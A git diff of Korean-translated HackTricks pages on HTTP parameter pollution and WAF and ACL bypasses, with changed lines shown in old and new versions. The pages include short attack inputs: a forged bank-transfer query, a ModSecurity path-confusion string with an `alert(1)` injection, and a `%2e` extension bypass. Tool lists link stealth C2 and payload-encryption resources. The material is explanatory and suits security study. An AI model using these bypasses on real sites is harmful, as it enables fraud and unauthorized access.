* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기교를 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 팔로우하세요**.**
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# HTTP 파라미터 오염 (HPP) 개요
|
||||
|
||||
HTTP 파라미터 오염 (HPP)은 공격자가 HTTP 파라미터를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 파라미터를 추가, 수정 또는 복제함으로써 이루어집니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만, 서버 측에서 애플리케이션의 기능을 심각하게 변경하고 클라이언트 측에서도 관찰할 수 있습니다.
|
||||
HTTP 파라미터 오염 (HPP)은 공격자가 HTTP 파라미터를 조작하여 웹 애플리케이션의 동작을 의도하지 않은 방식으로 변경하는 기술입니다. 이 조작은 HTTP 파라미터를 추가, 수정 또는 복제함으로써 이루어집니다. 이러한 조작의 효과는 사용자에게 직접적으로 보이지 않지만 서버 측에서 애플리케이션의 기능을 크게 변경할 수 있으며 클라이언트 측에도 영향을 미칠 수 있습니다.
|
||||
|
||||
## HTTP 파라미터 오염 (HPP)의 예
|
||||
|
||||
은행 애플리케이션의 거래 URL:
|
||||
은행 애플리케이션 거래 URL:
|
||||
|
||||
- **원래 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
- **원본 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
추가적인 `from` 파라미터를 삽입함으로써:
|
||||
추가 `from` 파라미터를 삽입함으로써:
|
||||
|
||||
- **조작된 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||
|
||||
거래가 `accountA` 대신에 `accountC`로 잘못 청구될 수 있으며, 이는 HPP가 거래나 비밀번호 재설정, 2FA 설정 또는 API 키 요청과 같은 다른 기능을 조작할 수 있는 잠재력을 보여줍니다.
|
||||
거래가 `accountA` 대신에 `accountC`에 잘못 청구될 수 있으며, 이는 HPP가 거래나 비밀번호 재설정, 2단계 인증 설정 또는 API 키 요청과 같은 기능을 조작할 수 있는 잠재력을 보여줍니다.
|
||||
|
||||
### 특정 기술에 따른 파라미터 구문 분석
|
||||
### **기술별 파라미터 구문 분석**
|
||||
|
||||
- 파라미터가 구문 분석되고 우선순위가 결정되는 방식은 기반이 되는 웹 기술에 따라 다르며, HPP를 악용하는 방법에 영향을 줍니다.
|
||||
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)와 같은 도구를 사용하여 이러한 기술과 그들의 구문 분석 동작을 식별할 수 있습니다.
|
||||
- 파라미터가 구문 분석되고 우선순위가 결정되는 방식은 기저 웹 기술에 따라 다르며, HPP가 어떻게 악용될 수 있는지에 영향을 줍니다.
|
||||
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)와 같은 도구는 이러한 기술과 그들의 구문 분석 동작을 식별하는 데 도움을 줍니다.
|
||||
|
||||
## PHP와 HPP 악용
|
||||
## PHP 및 HPP 악용
|
||||
|
||||
**OTP 조작 사례:**
|
||||
|
||||
- **문맥:** OTP(일회용 비밀번호)를 요구하는 로그인 메커니즘이 악용되었습니다.
|
||||
- **방법:** Burp Suite와 같은 도구를 사용하여 OTP 요청을 가로채어 HTTP 요청에서 `email` 파라미터를 복제했습니다.
|
||||
- **결과:** 초기 이메일을 위한 OTP가 조작된 요청에서 지정된 두 번째 이메일 주소로 전송되었습니다. 이 결함으로 인해 의도된 보안 조치를 우회하여 무단 액세스가 가능해졌습니다.
|
||||
- **문맥:** OTP(일회용 비밀번호)를 필요로 하는 로그인 메커니즘이 악용되었습니다.
|
||||
- **방법:** Burp Suite와 같은 도구를 사용하여 OTP 요청을 가로채어 공격자가 HTTP 요청에서 `email` 파라미터를 복제했습니다.
|
||||
- **결과:** 초기 이메일을 위한 OTP가 조작된 요청에서 지정된 두 번째 이메일 주소로 전송되었습니다. 이 결함으로 인해 의도된 보안 조치를 우회하여 무단 액세스가 허용되었습니다.
|
||||
|
||||
이 시나리오는 애플리케이션의 백엔드에서 발생한 심각한 실수를 강조하며, 이는 OTP 생성을 위해 첫 번째 `email` 파라미터를 처리하지만 전달에는 마지막 파라미터를 사용했습니다.
|
||||
이 시나리오는 OTP 생성을 위해 첫 번째 `email` 파라미터를 처리하고 전달을 위해 마지막을 사용한 애플리케이션의 백엔드에서 중대한 간과를 강조합니다.
|
||||
|
||||
**API 키 조작 사례:**
|
||||
|
||||
- **시나리오:** 어떤 애플리케이션에서 사용자가 프로필 설정 페이지를 통해 API 키를 업데이트할 수 있습니다.
|
||||
- **공격 벡터:** 공격자는 POST 요청에 추가적인 `api_key` 파라미터를 추가함으로써 API 키 업데이트 기능의 결과를 조작할 수 있다는 것을 발견했습니다.
|
||||
- **기술:** Burp Suite와 같은 도구를 사용하여 공격자는 한 개는 정당하고 한 개는 악의적인 두 개의 `api_key` 파라미터를 포함한 요청을 작성합니다. 서버는 마지막 발생만 처리하므로 API 키가 공격자가 제공한 값으로 업데이트됩니다.
|
||||
- **시나리오:** 응용 프로그램이 사용자가 프로필 설정 페이지를 통해 API 키를 업데이트할 수 있도록 허용합니다.
|
||||
- **공격 벡터:** 공격자가 POST 요청에 추가적인 `api_key` 파라미터를 추가함으로써 API 키 업데이트 기능을 조작할 수 있다는 것을 발견했습니다.
|
||||
- **기술:** Burp Suite와 같은 도구를 활용하여 공격자가 요청을 작성하는데 두 개의 `api_key` 파라미터를 포함시킵니다: 하나는 합법적이고 다른 하나는 악의적입니다. 서버는 마지막 발생만 처리하여 API 키를 공격자가 제공한 값으로 업데이트합니다.
|
||||
- **결과:** 공격자는 피해자의 API 기능을 제어하며, 무단으로 개인 데이터에 액세스하거나 수정할 수 있습니다.
|
||||
|
||||
이 예제는 특히 API 키 관리와 같이 중요한 기능에서 안전한 파라미터 처리의 필요성을 강조합니다.
|
||||
이 예는 특히 API 키 관리와 같이 중요한 기능에서 안전한 파라미터 처리의 필요성을 강조합니다.
|
||||
|
||||
## 파라미터 구문 분석: Flask vs. PHP
|
||||
|
||||
웹 기술이 중복된 HTTP 파라미터를 처리하는 방식은 HPP 공격에 취약성을 미치는 방식에 영향을 줍니다:
|
||||
웹 기술이 중복 HTTP 파라미터를 처리하는 방식은 다양하며, HPP 공격에 취약성에 영향을 줍니다:
|
||||
|
||||
- **Flask:** 쿼리 문자열 `a=1&a=2`에서 처음으로 만나는 `a=1`과 같은 첫 번째 파라미터 값을 채택하며, 초기 인스턴스를 후속 복제본보다 우선시합니다.
|
||||
- **PHP (Apache HTTP Server에서):** 반대로 주어진 예제에서 `a=2`를 선택하는 마지막 파라미터 값을 우선시합니다. 이 동작은 원래의 파라미터보다 공격자의 조작된 파라미터를 우연히 우선시하여 HPP 공격을 용이하게 할 수 있습니다.
|
||||
- **Flask:** 쿼리 문자열 `a=1&a=2`에서 처음 만난 파라미터 값을 채택하여 초기 인스턴스를 우선시하며, 후속 복제본보다 초기 인스턴스를 우선합니다.
|
||||
- **PHP (Apache HTTP Server에서):** 반대로 주어진 예제에서 `a=2`를 선택하는 마지막 파라미터 값을 우선시합니다. 이 동작은 공격자의 조작된 파라미터를 원본보다 우선하여 HPP 악용을 우연히 용이하게 할 수 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기교를 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 팔로우하세요**.**
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 경로 이름 조작을 사용하여 Nginx ACL 규칙 우회 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 경로 이름 조작을 통한 Nginx ACL 규칙 우회 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
기술 [이 연구에서](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
|
@ -83,18 +87,17 @@ deny all;
|
|||
|
||||
### 경로 혼란
|
||||
|
||||
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3 (3.0.12 버전까지)이 `REQUEST_FILENAME` 변수를 부적절하게 구현했음을 설명했습니다. 이 변수는 액세스된 경로를 포함해야 했지만 (매개변수 시작까지), 경로를 가져 오기 위해 URL 디코딩을 수행했기 때문에 이 변수가 제대로 구현되지 않았습니다.\
|
||||
따라서 Mod Security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 `%3f`가 URL 경로를 끝내는 `?`로 변환되어 경로가 `/foo`일 것으로 가정하지만, 실제로 서버가 받게 될 경로는 `/foo%3f';alert(1);foo=`가 됩니다.
|
||||
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3 (3.0.12 버전까지)이 `REQUEST_FILENAME` 변수를 부적절하게 구현하여 액세스된 경로를 포함해야 했지만 (매개변수 시작까지), 이 변수가 URL 디코드를 수행하여 경로를 가져오기 때문에 실제로는 `/foo%3f';alert(1);foo=`와 같은 요청은 mod security에서 경로가 `/foo`로 가정될 것이지만 `%3f`가 URL 경로를 끝내는 `?`로 변환되므로 서버가 받게 될 실제 경로는 `/foo%3f';alert(1);foo=`가 됩니다.
|
||||
|
||||
변수 `REQUEST_BASENAME` 및 `PATH_INFO`도 이 버그의 영향을 받았습니다.
|
||||
|
||||
Mod Security의 버전 2에서도 비슷한 문제가 발생했는데, 이는 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스를 방지하는 보호 기능을 우회할 수 있었습니다 (예: `.bak`). 단순히 점을 URL 인코딩 된 `%2e`로 보내면 가능했습니다. 예를 들어: `https://example.com/backup%2ebak`.
|
||||
Mod Security의 2 버전에서도 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스하는 것을 방지하는 보호를 우회할 수 있었던 버그가 발생했습니다. 예를 들어, `.bak`와 같은 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스하는 것을 방지하는 보호를 우회하기 위해 단순히 점을 URL 인코딩된 `%2e`로 보내는 것이 가능했습니다. 예를 들어, `https://example.com/backup%2ebak`.
|
||||
|
||||
## AWS WAF ACL 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 형식이 잘못된 헤더
|
||||
|
||||
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)는 AWS WAF 규칙을 우회할 수 있었던 HTTP 헤더에 "형식이 잘못된" 헤더를 보내어 AWS에서는 제대로 구문 분석되지 않았지만 백엔드 서버에서는 구문 분석되는 방법으로 우회할 수 있었습니다.
|
||||
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)는 AWS WAF 규칙을 우회할 수 있는 방법으로 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었던 "형식이 잘못된" 헤더를 보내는 것이 가능했다고 언급합니다. 이 헤더는 AWS에서 올바르게 구문 분석되지 않았지만 백엔드 서버에서는 올바르게 구문 분석되었습니다.
|
||||
|
||||
예를 들어, 다음 요청을 SQL 인젝션을 포함한 헤더 X-Query로 보내는 것:
|
||||
```http
|
||||
|
@ -110,18 +113,23 @@ AWS WAF를 우회하는 것이 가능했었는데, 이는 AWS WAF가 헤더 값
|
|||
## 참고 자료
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 학습하세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,17 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# BlueTeam
|
||||
|
||||
|
@ -49,25 +53,25 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
|
||||
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
|
||||
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : 도메인 이름을 비동기적으로 무차별 대입 공격
|
||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : 서브도메인 무차별 대입 공격
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : 도메인 이름을 비동기적으로 브루트 포스
|
||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : 서브도메인 브루트 포스
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): 도메인의 웹 서버에 접근 가능한지 확인
|
||||
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : 서브도메인 탐지
|
||||
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : 깃허브에서 서브도메인 탐지
|
||||
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : 서브도메인 발견
|
||||
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : 깃허브에서 서브도메인 발견
|
||||
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : 빠른 포트 스캐닝
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : 웹의 JS 파일에서 서브도메인과 URL 찾기
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : 웹의 JS 파일에서 서브도메인 및 URL
|
||||
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : 웹 파일 사전
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : 반복되는 탭을 피하기 위한 BurpExtension
|
||||
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : 에셋 획득
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : 수십 개의 반복 탭을 피하기 위한 BurpExtension
|
||||
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : 자산 획득
|
||||
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google 도크
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : 웹 BugBounty 체크리스트
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Open Redirection에 대한 도메인 목록 확인
|
||||
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : 도메인, 서브도메인 및 IP를 발견하기 위한 오프라인 분석을 위한 Burp 플러그인
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : 웹 버그 바운티 체크리스트
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : 오픈 리다이렉션에 대한 도메인 목록 확인
|
||||
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : 도메인, 서브도메인 및 IP를 발견하기 위한 오프라인 분석을 수행하는 Burp 플러그인
|
||||
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): 다양한 도구 목록
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : 취약점 (SQLi, XSS, SSTI)을 찾기 위한 BurpSuite 플러그인
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : post-messages 함수를 추적하기 위한 Chrome 확장 프로그램
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : 취약점 (SQLi, XSS, SSTI) 찾기를 위한 BurpSuite 플러그인
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : 포스트 메시지 기능을 추적하기 위한 크롬 확장 프로그램
|
||||
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : 자동 인증 테스트 (쿠키 제거 및 요청 전송 시도)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross는 재구성, 스캐너 및 penetration / BugBounty 테스트 도구입니다. 이 도구는 (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) 취약점을 테스트하기 위해 만들어졌습니다.
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross는 취약점 / BugBounty 테스트를 위한 재구성, 스캐너 및 도구입니다. 이 도구는 (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) 취약점을 테스트하기 위해 제작되었습니다
|
||||
# Windows
|
||||
|
||||
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : 측면 이동
|
||||
|
@ -80,30 +84,30 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : 부모 PID 스푸핑
|
||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Powershell 페이로드 암호화
|
||||
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : 은밀한 C2
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Windows Internals에 관한 일련의 로그
|
||||
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : 문서를 열어본 사람 추적
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Windows 내부에 대한 일련의 로그
|
||||
